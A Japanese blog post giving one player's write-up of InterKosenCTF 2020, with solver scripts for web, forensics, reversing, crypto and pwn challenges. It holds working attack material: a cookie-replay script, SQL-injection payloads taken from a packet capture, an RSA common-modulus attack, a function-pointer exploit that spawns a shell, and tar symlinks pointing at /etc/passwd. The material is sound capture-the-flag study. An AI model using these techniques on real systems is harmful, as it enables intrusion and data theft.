プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

InterKosenCTF 2020 write-up

InterKosenCTF 2020に、一人チームrotationで参加しました。 (追記: 問題等はtheoremoon/InterKosenCTF2020-challengesにて公開されています)

コンテスト概要

2020-09-05(土) 10:00:00 +09:00 ~ 2020-09-06(日) 22:00:00 +09:00 の期間でした。 他ルールはAboutより引用:

InterKosenCTF2020 is a Jeopardy-style Capture The Flag competition hosted by insecure(ptr-yudai, theoldmoon0602, and yoshiking), a Japanese CTF team.
There will be challenges of mainly 4 categories (pwn, web, rev, crypto) for begginer - intermediate level players.

結果

正の得点を取得した133チーム中、1300ptsで29位でした。

青枠:解けた問題
スコア遷移

環境

Windows+WSL1(Ubuntu)で取り組みました。VirtualBox(Ubuntu)はごく一部でだけ使いました。

Windows

PS C:\> [System.Environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      19041  0

他ソフト

  • IDA(Free版) : Version 7.0.19002 Windows x64
  • Wireshark : Version 3.2.6
  • うさみみハリケーン: v029

WSL

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.5 LTS
Release:        18.04
Codename:       bionic
$ cat /proc/version
Linux version 4.4.0-19041-Microsoft (Microsoft@Microsoft.com) (gcc version 5.4.0 (GCC) ) #1-Microsoft Fri Dec 06 14:06:00 PST 2019
$ python3 --version
Python 3.6.9

解けた問題

[welcome] Welcome

Welcome to InterKosenCTF 2020! All announcement, support, and the welcome flag are available in our Discord.

Discordのannouncementチャンネルにて、開始直後に以下の発言が書き込まれました:

ptr-yudaiToday at 10:00 AM
InterKosenCTF 2020 has just started!
KosenCTF{w31c0m3_and_13ts_3nj0y_the_party!!}

というわけでフラグを入手しました: KosenCTF{w31c0m3_and_13ts_3nj0y_the_party!!}

[web, warmup] matsushima2

Do you like poker? I like blackjack! Let's play it here.

配布されたファイルを展開すると、main.pyとHTML、画像等が含まれていました。問題URLにアクセスして遊んでみたり、main.pyを読んでみたりすると、以下の事がわかりました:

  • 初期チップは100
  • ブラックジャックで勝つとチップ2倍、負けるとチップ全て没収
  • チップが999999以上になるとフラグが手に入る

つまりブラックジャックに14連勝する必要があります。main.pyを読むと、以下のことが分かりました:

  • クッキーの値を元に状態を管理している
  • 状態の中に山札も含まれていますが、ヒットやディーラーの処理では毎回random.randrangeを使って引く札を決定している
  • クッキーは秘密の値で暗号化されている、クライアントから改竄することはできなさそう
  • HTTPレスポンスとして状態をjsonでも返してはいますが、それはブラウザの表示用にだけ使われていそうなので今回は無関係

全く穴が無いように思えて1時間半ほど悩んでいました。が、「クッキーベースということは状態の復元が可能では」と閃めいたので以下のコードを書きました:

#!/usr/bin/env python3

import requests
import json

url_prefix = "http://web.kosenctf.com:14001/"

def send(path, isget, req_cookie):
    d = None if req_cookie is None else dict(matsushima=req_cookie)
    r = (requests.get if isget else requests.post)(url_prefix + path, cookies=d)

    print(r.text)
    chip = json.loads(r.text)["chip"] # 最後のフラグはここでエラーになるので上の出力を見る
    cookie = r.cookies["matsushima"]
    return [chip, cookie]

def initialize():      return send("initialize", False, None)
def stand(cookie):     return send("stand",      False, cookie)
def next_game(cookie): return send("nextgame",   False, cookie)
def get_flag(cookie):  return send("flag",       True,  cookie)

[chip, cookie] = initialize()

while True:
    [next_chip, next_cookie] = stand(cookie)
    if next_chip == 0: continue

    [chip, cookie] = [next_chip, next_cookie]
    if chip >= 999999: break

    [chip, cookie] = next_game(cookie)

print(get_flag(cookie))

自分はひたすらスタンドを続けて、ディーラーがバストするのを待つ戦略です。これを実行してフラグが手に入りました: KosenCTF{r3m3mb3r_m475u5him4}

[web, forensics] limited

Our website had been attacked by someone. Did the attacker successfully steal the admin's secret?

配布されたファイルを展開すると、packet.pcapだけが含まれていました。Wiresharkで確認したところ、以下の内容でした:

  • 3つのIPアドレスが登場している(A, B, Cとします)
  • Aクライアント→Bサーバー のHTTP通信と Bクライアント→Cサーバー のHTTP通信がメインのようです
  • A→B のHTTP通信のURLに search_max=(SELECT unicode(substr(secret, 50, 1)) FROM account WHERE name="admin") % 13 等のSQLインジェクションが含まれている
  • B→C のHTTP通信は、Hostがmetadata.google.internalなので本質ではなさそう

そういうわけで、AB間HTTP通信のリクエストのURLとレスポンス内容を抽出して加工すれば、攻撃者が得た情報を得られそうです。つまり以下の手順が必要です:

  1. .pcapの内容を、後のプログラムから扱いやすいように変換する
  2. AB間HTTP通信のリクエストのURLを抽出する
  3. AB間HTTP通信のレスポンスを抽出する
  4. 抽出したレスポンスから攻撃結果を抽出する
  5. 攻撃結果を導く

やることは多いですが、やれば出来るのでやりました。 項目1は、Wiresharkのフィルタにhttp&&ip.addr==124.41.115.112(このIPアドレスはAのものです)を適用してFile→Export packe dissections→As JsonからDisplayedなものをdissections.jsonとして保存しました。 最後の攻撃結果は、中国剰余定理で各文字を復元できました。 2~5をまとめたコードが以下になります(やることが多いのでコードも長い)(各種ライブラリの使い方は都度ググりました):

#!/usr/bin/env python3

import json
from bs4 import BeautifulSoup # for parsing html
import urllib.parse # for decoding percent-encoding
import re
import Crypto.Util.number
import functools

def load_as_json(path):
    with open(path, "rb") as f:
        return json.load(f)

def get_frame_number(data):
    return int(data["_source"]["layers"]["frame"]["frame.number"])
def get_http_member(data):
    return data["_source"]["layers"]["http"]

def is_request(http_data):
    return "http.request" in http_data
def is_response(http_data):
    return "http.response" in http_data

def get_uri_from_request(http_data):
    return http_data["http.request.full_uri"]
def get_response_number_from_request(http_data):
    return int(http_data["http.response_in"])
def get_html_from_response(http_data):
    return http_data["http.file_data"]

def get_search_count(html):
    # html/body/div/table/tbody 中のtr要素の数が検索結果の数
    # 1htmlにtableタグは1つだけ存在するらしい
    # 検索結果が存在しない場合、theadだけある場合とtableそのものが無い場合があるらしい
    soup = BeautifulSoup(html, features="html5lib")
    return max(0, len(soup.find_all("tr")) - 1) # theadの1つを除く

# https://tex2e.github.io/blog/crypto/crt からお借りしてmodinvをCrypto.Util.numberのに変更
def chinese_remainder(a, n):
    # a := [a1, a2, ..., ak]
    # n := [n1, n2, ..., nk]
    total = 0
    prod = functools.reduce(lambda x, y: x*y, n)
    for n_i, a_i in zip(n, a):
        b_i = prod // n_i
        total += a_i * b_i * Crypto.Util.number.inverse(b_i, n_i)
    return total % prod

array = load_as_json("dissections.json")
frame_dict = { get_frame_number(data) : get_http_member(data) for data in array }
attack_list = [
    (frame,
     get_uri_from_request(http_data),
     get_html_from_response(frame_dict[get_response_number_from_request(http_data)])
     ) for [frame, http_data] in sorted(frame_dict.items()) if is_request(http_data)]

chinese_dict = {}
for [frame, uri, html] in attack_list:
    # URIは以下のようなもの
    # http://moxxie.tk:8080/search.php?keyword=&search_max=3
    # http://moxxie.tk:8080/search.php?keyword=&search_max=%28SELECT+unicode%28substr%28secret%2C+1%2C+1%29%29+FROM+account+WHERE+name%3D%22admin%22%29+%25+19
    # エスケープ解除後は「http://moxxie.tk:8080/search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 19」のようになる
    # 1つのpositionに対して、いくつかの異なる素数に対して剰余を取っているので、中国剰余定理で復元する
    # positionは1~50まである
    unquoted = urllib.parse.unquote_plus(uri)
    result = re.search(r'search_max=\(SELECT unicode\(substr\(secret, (\d+), 1\)\) FROM account WHERE name="admin"\) % (\d+)', unquoted)
    if result is None: continue

    count = get_search_count(html)
    position = int(result.group(1))
    mod = int(result.group(2))
    if position not in chinese_dict:
        chinese_dict[position] = ([], [])
    chinese_dict[position][0].append(count)
    chinese_dict[position][1].append(mod)

for (position, (counts, mods)) in chinese_dict.items():
   print(chr(chinese_remainder(counts, mods)), end="")
print()

これを実行してフラグを入手しました: KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt} (CRTってなんでしょう?)(公開後追記: Chinese remainder theorem の略と気づきました) (追記: ScapyというPythonライブラリを使えば、.pcapの読み込みから内容取得まで全部できるらしいです)

[reversing, warmup] in question

???

説明文が説明になっていないように見えましたが配布されたバイナリを解析しようとすると一目超然でした。関数名が全て?????????_0のようにクエスチョンマークだらけでした! また配布されたバイナリは何か加工されたもののようでした。WSL環境のUbuntuでは実行できなかったのです:

$ file chall
chall: ELF 64-bit MSB *unknown arch 0x3e00* (SYSV)
$ ./chall
zsh: exec format error: ./chall

VirtualBox環境のUbuntuでは直接実行はできましたが、他のツール経由で起動することは失敗しました:

$ ./chall
Usage: ./chall <FLAG>
$ ltrace ./chall KosenCTF{aaa}
"./chall" is neither an ELF executable nor a shared library
$ gdb -q ./chall
"/media/sf_WinShare/kosenctf/./chall": not in executable format: File format not recognized

とりあえずIDAで開くと関数が71個存在するようでした。上記出力のUsage文字列がstringsタブで検出されていたので使用箇所近辺を読むと、特定関数の戻り値の有無で正解・不正解を判定していることが分かりました。その関数の肝心なところは以下のものでした:

.text:00000000004002DF -30A 31 C0                            xor     eax, eax
.text:00000000004002E1
.text:00000000004002E1                       locLoopBegin:                           ; CODE XREF: IsWrongFlag+48↓j
.text:00000000004002E1 -30A 39 C8                            cmp     eax, ecx        ; eax: 今index, ecx: 文字数
.text:00000000004002E3 -30A 7D 25                            jge     short locCorrect
.text:00000000004002E5 -30A 41 8A 14 00                      mov     dl, [r8+rax]    ; 多分r8に入力文字列が入っている
.text:00000000004002E9 -30A 41 32 54 00 01                   xor     dl, [r8+rax+1]
.text:00000000004002EE -30A 89 C7                            mov     edi, eax
.text:00000000004002F0 -30A 40 80 F7 FF                      xor     dil, 0FFh
.text:00000000004002F4 -30A 0F B6 D2                         movzx   edx, dl
.text:00000000004002F7 -30A 31 FA                            xor     edx, edi
.text:00000000004002F9 -30A 0F B6 3C 06                      movzx   edi, byte ptr [rsi+rax] ; rsi: data領域のバイト列先頭アドレス
.text:00000000004002FD -30A 48 FF C0                         inc     rax
.text:0000000000400300 -30A 39 FA                            cmp     edx, edi
.text:0000000000400302 -30A 74 DD                            jz      short locLoopBegin
.text:0000000000400304 -30A B8 01 00 00 00                   mov     eax, 1          ; must not come here
.text:0000000000400309 -30A C3                               retn
.text:000000000040030A                       ; ---------------------------------------------------------------------------
.text:000000000040030A
.text:000000000040030A                       locCorrect:                             ; CODE XREF: IsWrongFlag+29↑j
.text:000000000040030A -30A 31 C0                            xor     eax, eax        ; must come here
.text:000000000040030C -30A C3                               retn

入力文字列を加工した結果が、data領域のバイト列と一致すれば良いようです。逆算も出来そうなので以下のコードを書きました(インラインアセンブラを使おうと思っていたのでCで書きましたが、結局Cで完結しました):

#include<stdio.h>
#include<string.h>

/* アセンブリ中で登場していた、data領域のバイト列 */
const unsigned char data[] = { 0xDB, 0xE2, 0xEB, 0xF7, 0xD6, 0xED, 0xEB, 0xC5, 0xE8, 0xA2, 0xAB, 0xEE, 0xD8, 0xC1, 0xAE, 0xB7, 0xC4, 0xC5, 0xF1, 0xB0, 0xAB, 0xC1, 0xD0, 0xBE, 0xE7, 0xBA, 0xD6, 0xCE, 0xEB, 0x9F, 0x0, 0x0 };

int convert(char a, char b, int i)
{
    int edi = i ^ 0xFF;
    int edx = (int)a ^ (int)b;
    return edi ^ edx;
}

int main(void)
{
    char buf[256] = "KosenCTF{";
    int initial_length = strlen(buf);
    int i;
    for (i = 0; i < initial_length - 1; ++i)
    {
        int xxx = convert(buf[i], buf[i + 1], i);
        int d = data[i];
        printf("%x, %x, %s\n", xxx, d, xxx == d ? "OK" : "NG");
    }

    printf("%s", buf);
    for (i = initial_length; i < sizeof(data); ++i)
    {
        for (unsigned char c = 0x21; c <= 0x7f; ++c)
        {
            if (convert(buf[i - 1], c, i - 1) == data[i - 1])
            {
                buf[i] = c;
                putchar(c);
                break;
            }
        }
    }
    return 0;
}

上記コードを実行してフラグを入手しました: KosenCTF{d0nt_l3t_th4t_f00l_u}

[reversing] harmagedon

WTF of the large data!
Enclose the flag with KosenCTF{}

配布されたファイルを展開すると、challバイナリのみが含まれていました。実行してみると、4択の文字を何度か入力する形式でした。 IDAで見ると関数1個のシンプルな形式でした。重要な判定箇所を抜粋したものに次になります:

.text:00000000004000B6     f:                                      ; CODE XREF: _start+EC↓j
.text:00000000004000B6 000                 inc     r10
.text:00000000004000B9 000                 mov     eax, 0B77C7Ch
.text:00000000004000BE 000                 cmp     rax, rbx
.text:00000000004000C1 000                 jz      congratz
.text:00000000004000C7 000                 mov     eax, 0Bh
.text:00000000004000CC 000                 cmp     rax, r10
.text:00000000004000CF 000                 jl      goodbye
(中略、ここで4択文字の出力や、入力処理がある)
.text:0000000000400192 000                 add     rbx, rcx ; rcxは入力に応じた[0, 3]の値
.text:0000000000400195 000                 inc     rbx
.text:0000000000400198 000                 shl     rbx, 2
.text:000000000040019C 000                 jmp     f

つまり11回文字を入力して計算結果が0x0B77C7Cになればよいこと、1回の入力で1~4が足された後に左2bitシフトが行われることが分かりました。(ビットの繰り上がりで一時期ハマりつつも)各4択における正解の入力を計算できるので、そのとおりに入力します:

$ ./harmagedon
which is your choice? [fRD3]R
which is your choice? [Ymug]u
which is your choice? [kcJQ]k
which is your choice? [yhtP]t
which is your choice? [uDPJ]u
which is your choice? [05n7]n
which is your choice? [V0Np]0
which is your choice? [8GFr]r
which is your choice? [Dar3]D
which is your choice? [UDi8]i
which is your choice? [KS3c]3
congratz. your choices are the flag

というわけで問題文の説明の通り、上記内容をKosenCTF{}で囲ったものがフラグとなります: KosenCTF{Ruktun0rDi3} (leetを直してググると、そういった名前の曲がヒットしました) (warmup問題のほうが、実行が困難であり関数が多いため難しかったのでは、という印象です)

[reversing] trilemma

Citizen fears emperor.
Slave fears citizen.
Emperor fears slave.

配布されたファイルを展開するとmain.c, libcitizen.so, libemperor.so, libslave.soが含まれていました。実行形式が無いことに困惑していましたが、main.cにてビルド方法が記述されていました:

/**
   $ gcc main.c -L./ -lemperor -lcitizen -lslave
   $ LD_LIBRARY_PATH=./ ./a.out
 */
#include <stdio.h>

char *emperor_flag(void);
char *citizen_flag(void);
char *slave_flag(void);

int main(void) {
  printf("The flag is %s%s%s\n", emperor_flag(), citizen_flag(), slave_flag());
  return 0;
}

記述通りにコンパイル及び実行をしますと、以下の出力のみを行って終了していました:

[libslave.so] Citizen despises slave.

main.c冒頭で出力するようにしても出力結果は変わらないため、.soの読み込み時の処理で何かしているようです。IDAで確認すると、以下のことが分かりました:

  • 各種soに存在するcitizen, emperor, slave関数にて読込中の.soを確認している
  • 他2つの.soが存在していれば出力後にexit()する 3つの.soについて、.soの存在有無に関わらず終了しないルートへjmpするよう.soにパッチを当てて実行すると、今度は以下の出力で終了しました:
[libcitizen.so] Resource conflicts.

改めてIDAで色々見ると、以下のことが分かりました:

  • 各種soのcitizen_flag等の関数では、_slave_secret等別soの関数を呼び出している
    • そのため、main.cで1つの.soのみをリンクすることは不可能
  • 各種flag関数やsecret関数ではmmapで固定アドレスを使用している、具体的には:
    • emperor_flag, slave_secret__では0x3F5500000000
    • slave_flag__, citizen_secretでは0x3FCC00000000
    • citizen_flag, emperor_secretでは0x3FEE00000000
  • mmapのアドレスをバラバラになるよう改竄するとmain.cmainまで到達するが、出力内容は壊れたデータになる
  • mmapのflags引数が一部異なる(0x8021, 0x8022, 0x8032が存在した)

何かの拍子にstraceを実行したのですが、良いことが分かりました:

(前略)
mmap(0x3fcc00000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3fcc00000000
mmap(0x3fee00000000, 4096, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3fee00000000
mmap(0x3fee00000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3fee00000000
mmap(0x3f5500000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3f5500000000
mmap(0x3f5500000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x3f5500000000
mmap(0x3fcc00000000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0) = 0x7f829dbf0000
write(2, "[libcitizen.so] Resource conflic"..., 36[libcitizen.so] Resource conflicts.
(後略)

0x3fee00000000の割り当てには2つのmmapが成功していますが、0x3fcc00000000の割り当てでは2つ目が失敗しています。原因がMAP_PRIVATEにありそうなので、全てのmmap呼び出しでflags引数にMAP_SHARED(0x0010)を加えるよう.soにパッチを当てました。 これで上手くいくと思ったのですが、自分の環境ではmainの出力が以下のようになってしまいました:

The flag is KosenCTF{emperor_wins_with_a_probabili

どう見ても出力が途切れています。フラグ取得箇所の前後にデバッグ出力を挟むと、それらは正常に出力されました。 しばらく悩んだ後、mainを以下のように変更してみると、何故かすべての出力が得られるようになりました:

int main(void) {
    printf("%s\n", emperor_flag());
    printf("%s\n", citizen_flag());
    printf("%s\n", slave_flag());
    return 0;
}
KosenCTF{emperor_wi
ns_with_a_probabili
ty_of_four-fifths}

理由はよく分かりませんが最後まで出てくれたようなので、3行をまとめてフラグを入手しました: KosenCTF{emperor_wins_with_a_probability_of_four-fifths} (追記: 後から思うと、各種flag関数で何らかの状態を共有していて、printfで出力する前に文字列ポインタ先が壊れたりしたのかもしれませんね。1つのflag関数を呼び出してprintfだと状態競合を避けられそうです)

[crypto, warmup]ciphertexts [AC]

Since there are two ciphertexts, it is easy to solve, isn't it?

配布されたファイルを展開すると、main.pyoutput.txtが含まれていました。main.pyの全内容が次になります:

from Crypto.Util.number import *
import gmpy2
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n1 = p * q
n2 = p * q * r

e1 = getPrime(20)
e2 = int(gmpy2.next_prime(e1))

m = bytes_to_long(flag)
c1 = pow(m, e1, n1)
c2 = pow(m, e2, n2)

print("n1 = {}".format(n1))
print("n2 = {}".format(n2))
print("e1 = {}".format(e1))
print("e2 = {}".format(e2))
print()
print("c1 = {}".format(c1))
print("c2 = {}".format(c2))

RSA暗号運用でやってはいけない n のこと #ssmjp を見ますとその8 同一の平文を異なるeで暗号化した暗号文を与えてはいけないなCommon Modulus Attackを適用できそうです。今回の出力そのものはn1, n2は異なりますが、rはn2/n1で計算できます。 c2をrで割った剰余に直せばできそうなのでコードを書きました(最初、c1をr倍していて詰まっていました):

#!/usr/bin/env python3

from Crypto.Util.number import *

# https://nagiss.hateblo.jp/entry/2019/07/01/185421 からお借りしました
def exgcd(a, b):
    """
    return (g, x, y)
    where g = gcd(a, b) and
    ax + by = g
    """
    if a == 0:
        return b, 0, 1
    g, y, x = exgcd(b%a, a)
    return g, x-(b//a)*y, y

n1 = 112027309284322736696115076630869358886830492611271994068413296220031576824816689091198353617581184917157891542298780983841631012944437383240190256425846911754031739579394796766027697768621362079507428010157604918397365947923851153697186775709920404789709337797321337456802732146832010787682176518192133746223
n2 = 1473529742325407185540416487537612465189869383161838138383863033575293817135218553055973325857269118219041602971813973919025686562460789946104526983373925508272707933534592189732683735440805478222783605568274241084963090744480360993656587771778757461612919160894779254758334452854066521288673310419198851991819627662981573667076225459404009857983025927477176966111790347594575351184875653395185719233949213450894170078845932168528522589013379762955294754168074749
e1 = 745699
e2 = 745709

c1 = 23144512980313393199971544624329972186721085732480740903664101556117858633662296801717263237129746648060819811930636439097159566583505473503864453388951643914137969553861677535238877960113785606971825385842502989341317320369632728661117044930921328060672528860828028757389655254527181940980759142590884230818
c2 = 546013011162734662559915184213713993843903501723233626580722400821009012692777901667117697074744918447814864397339744069644165515483680946835825703647523401795417620543127115324648561766122111899196061720746026651004752859257192521244112089034703744265008136670806656381726132870556901919053331051306216646512080226785745719900361548565919274291246327457874683359783654084480603820243148644175296922326518199664119806889995281514238365234514624096689374009704546

r = n2 // GCD(n1, n2)
print(f"r={r}")
c2 %= n1
[g, a, b] = exgcd(e1, e2)
print(f"g={g}")
print(f"a={a}") # マイナスの値が得られる
print(f"b={b}")
print(f"e1*a+e2*b={e1*a + e2*b}")
v = pow(inverse(c1, n1), -a, n1)
w = pow(c2, b, n1)
m = (v * w) % n1
print(m)
print(long_to_bytes(m))

実行してフラグを入手しました: KosenCTF{HALDYN_D0M3}

[pwn, wamup] babysort

(問題文はnc接続先のみだったので省略) 配布されたファイルを展開すると、main.cchallが含まれていました。main.cの中身の要点は以下のものでした:

typedef int (*SORTFUNC)(const void*, const void*);

typedef struct {
  long elm[5];
  SORTFUNC cmp[2];
} SortExperiment;

/* call me! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

int main(void) {
  SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}};
  int i;

  /* input numbers */
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = ", i);
    if (scanf("%ld", &se.elm[i]) != 1) exit(1);
  }

  /* sort */
  printf("[0] Ascending / [1] Descending: ");
  if (scanf("%d", &i) != 1) exit(1);
  qsort(se.elm, 5, sizeof(long), se.cmp[i]);

  /* (後略) */
  reutnr 0;
}

ソート種類選択時のiの範囲チェックがないため、スタック上の数値を関数ポインタとして実行できることが分かります。都合のいいことにすぐ近くのelemに事前に任意数値を入力できるため、そこでwinのアドレスを入れておけばよさそうです。

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1167f928326f9aee34baf2143adfc5bd810faa2, not stripped
$ checksec --file=chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   74 Symbols     No       0               1chall

No PIEであるためアドレスは固定です。IDAでwin関数のアドレスを調べて、elemの数値としてwinのアドレスを入力し(今回8byte値として入力して8byteとして扱わせるので、エンディアン変換は不要でした。少しハマりました)、iに-1を入れてシェルを獲得できました。 シェルに入るとflagがあったので取得しました: KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}

取り組んだけど解けなかった問題

[web] miniblog

I created a minimal blog platform. It doesn't use any complex things.

配布されたファイルを展開すると、main.pyと、フレームワーク用のファイルが展開されました。機能の中にtarまたはtar.gzファイルをアップロードできるものがあり、その処理が以下になっていました(非本質箇所削除):[]

attachment = request.files.get("attachment")
tarpath = 'tmp/{}'.format(uuid4().hex)
attachments_dir = "userdir/{userid}/attachments/".format(userid=users[username]["id"])
attachment.save(tarpath)
tarfile.open(tarpath).extractall(path=attachments_dir)

ここで悪いことが出来そうなのでtar関連をググっていると、以下の記述を見つけました:

今回のWebアプリでは、展開後のファイルはglob("userdir/{userid}/attachments/*")で取得できることを前提としていたので、シンボリックリンクを使えそうです。またglobで取得したファイルについてos.path.isfile(path)が成立する必要がありますが、シンボリックリンクでもリンク先が存在すれば成立してくれます。 そういうわけで加工したtarファイルをアップロードして、ミニブログのテンプレートを変更することで任意ファイルを(Base64後の内容で)表示できるようになりました。なったのですが、フラグがどこにあるのか分からず解けませんでした。最終的に試したシンボリックリンクの内容は以下のものでした:

lrwxrwxrwx 1 tan tan     4 Sep  6 14:02 allF -> FLAG
lrwxrwxrwx 1 tan tan     7 Sep  6 14:02 allFF -> ../FLAG
lrwxrwxrwx 1 tan tan    10 Sep  6 14:02 allFFF -> ../../FLAG
lrwxrwxrwx 1 tan tan     8 Sep  6 12:42 f -> flag.txt
lrwxrwxrwx 1 tan tan     4 Sep  6 13:25 f_ -> flag
lrwxrwxrwx 1 tan tan     7 Sep  6 13:25 f__ -> ../flag
lrwxrwxrwx 1 tan tan    10 Sep  6 13:25 f___ -> ../../flag
lrwxrwxrwx 1 tan tan     8 Sep  6 13:25 fb -> flag.bmp
lrwxrwxrwx 1 tan tan    11 Sep  6 13:25 fbb -> ../flag.bmp
lrwxrwxrwx 1 tan tan    14 Sep  6 13:25 fbbb -> ../../flag.bmp
lrwxrwxrwx 1 tan tan    11 Sep  6 12:42 ff -> ../flag.txt
lrwxrwxrwx 1 tan tan    14 Sep  6 12:42 fff -> ../../flag.txt
lrwxrwxrwx 1 tan tan    17 Sep  6 12:42 ffff -> ../../../flag.txt
lrwxrwxrwx 1 tan tan    20 Sep  6 12:43 fffff -> ../../../../flag.txt
lrwxrwxrwx 1 tan tan    23 Sep  6 13:05 ffffff -> ../../../../../flag.txt
lrwxrwxrwx 1 tan tan    26 Sep  6 13:05 fffffff -> ../../../../../../flag.txt
lrwxrwxrwx 1 tan tan    29 Sep  6 13:05 ffffffff -> ../../../../../../../flag.txt
lrwxrwxrwx 1 tan tan    32 Sep  6 13:05 fffffffff -> ../../../../../../../../flag.txt
lrwxrwxrwx 1 tan tan    35 Sep  6 13:05 ffffffffff -> ../../../../../../../../../flag.txt
lrwxrwxrwx 1 tan tan    38 Sep  6 13:05 fffffffffff -> ../../../../../../../../../../flag.txt
lrwxrwxrwx 1 tan tan    41 Sep  6 13:05 ffffffffffff -> ../../../../../../../../../../../flag.txt
lrwxrwxrwx 1 tan tan     8 Sep  6 13:26 fg -> flag.gif
lrwxrwxrwx 1 tan tan    11 Sep  6 13:26 fgg -> ../flag.gif
lrwxrwxrwx 1 tan tan    14 Sep  6 13:26 fggg -> ../../flag.gif
lrwxrwxrwx 1 tan tan     9 Sep  6 13:25 fh -> flag.html
lrwxrwxrwx 1 tan tan    12 Sep  6 13:25 fhh -> ../flag.html
lrwxrwxrwx 1 tan tan    15 Sep  6 13:25 fhhh -> ../../flag.html
lrwxrwxrwx 1 tan tan     8 Sep  6 13:25 fj -> flag.jpg
lrwxrwxrwx 1 tan tan     9 Sep  6 13:26 fje -> flag.jpeg
lrwxrwxrwx 1 tan tan    12 Sep  6 13:26 fjee -> ../flag.jpeg
lrwxrwxrwx 1 tan tan    15 Sep  6 13:26 fjeee -> ../../flag.jpeg
lrwxrwxrwx 1 tan tan    11 Sep  6 13:26 fjj -> ../flag.jpg
lrwxrwxrwx 1 tan tan    14 Sep  6 13:26 fjjj -> ../../flag.jpg
lrwxrwxrwx 1 tan tan     7 Sep  6 13:25 fm -> flag.md
lrwxrwxrwx 1 tan tan     7 Sep  6 17:40 fmd -> flag.md
lrwxrwxrwx 1 tan tan    10 Sep  6 17:40 fmdd -> ../flag.md
lrwxrwxrwx 1 tan tan    13 Sep  6 17:40 fmddd -> ../../flag.md
lrwxrwxrwx 1 tan tan    10 Sep  6 13:25 fmm -> ../flag.md
lrwxrwxrwx 1 tan tan    13 Sep  6 13:25 fmmm -> ../../flag.md
lrwxrwxrwx 1 tan tan     8 Sep  6 13:25 fp -> flag.png
lrwxrwxrwx 1 tan tan     8 Sep  6 17:39 fphp -> flag.php
lrwxrwxrwx 1 tan tan    11 Sep  6 17:40 fphpp -> ../flag.php
lrwxrwxrwx 1 tan tan    14 Sep  6 17:40 fphppp -> ../../flag.php
lrwxrwxrwx 1 tan tan    11 Sep  6 13:25 fpp -> ../flag.png
lrwxrwxrwx 1 tan tan    14 Sep  6 13:25 fppp -> ../../flag.png
lrwxrwxrwx 1 tan tan     7 Sep  6 17:39 fpy -> flag.py
lrwxrwxrwx 1 tan tan    10 Sep  6 17:39 fpyy -> ../flag.py
lrwxrwxrwx 1 tan tan    13 Sep  6 17:39 fpyyy -> ../../flag.py
lrwxrwxrwx 1 tan tan     8 Sep  6 17:21 fr -> flag.rar
lrwxrwxrwx 1 tan tan    11 Sep  6 17:21 frr -> ../flag.rar
lrwxrwxrwx 1 tan tan    14 Sep  6 17:21 frrr -> ../../flag.rar
lrwxrwxrwx 1 tan tan     8 Sep  6 13:37 fs -> flag.svg
lrwxrwxrwx 1 tan tan    11 Sep  6 13:37 fss -> ../flag.svg
lrwxrwxrwx 1 tan tan    14 Sep  6 13:37 fsss -> ../../flag.svg
lrwxrwxrwx 1 tan tan     8 Sep  6 17:20 ft -> flag.tar
lrwxrwxrwx 1 tan tan    11 Sep  6 17:22 ftg -> flag.tar.gz
lrwxrwxrwx 1 tan tan    14 Sep  6 17:22 ftgg -> ../flag.tar.gz
lrwxrwxrwx 1 tan tan    17 Sep  6 17:22 ftggg -> ../../flag.tar.gz
lrwxrwxrwx 1 tan tan    11 Sep  6 17:20 ftt -> ../flag.tar
lrwxrwxrwx 1 tan tan    14 Sep  6 17:21 fttt -> ../../flag.tar
lrwxrwxrwx 1 tan tan     8 Sep  6 17:21 fz -> flag.zip
lrwxrwxrwx 1 tan tan    11 Sep  6 17:21 fzz -> ../flag.zip
lrwxrwxrwx 1 tan tan    14 Sep  6 17:21 fzzz -> ../../flag.zip
lrwxrwxrwx 1 tan tan     4 Sep  6 14:02 largeF -> Flag
lrwxrwxrwx 1 tan tan     7 Sep  6 14:02 largeFF -> ../Flag
lrwxrwxrwx 1 tan tan    10 Sep  6 14:02 largeFFF -> ../../Flag
lrwxrwxrwx 1 tan tan     8 Sep  6 14:02 largeFt -> Flag.txt
lrwxrwxrwx 1 tan tan    11 Sep  6 14:02 largeFtt -> ../Flag.txt
lrwxrwxrwx 1 tan tan    14 Sep  6 14:02 largeFttt -> ../../Flag.txt
lrwxrwxrwx 1 tan tan    13 Sep  6 13:11 p -> ../etc/passwd
lrwxrwxrwx 1 tan tan    16 Sep  6 13:11 pa -> ../../etc/passwd
lrwxrwxrwx 1 tan tan    19 Sep  6 13:11 pas -> ../../../etc/passwd
lrwxrwxrwx 1 tan tan    22 Sep  6 13:11 pass -> ../../../../etc/passwd
lrwxrwxrwx 1 tan tan    25 Sep  6 13:11 passw -> ../../../../../etc/passwd
lrwxrwxrwx 1 tan tan    28 Sep  6 13:11 passwd -> ../../../../../../etc/passwd
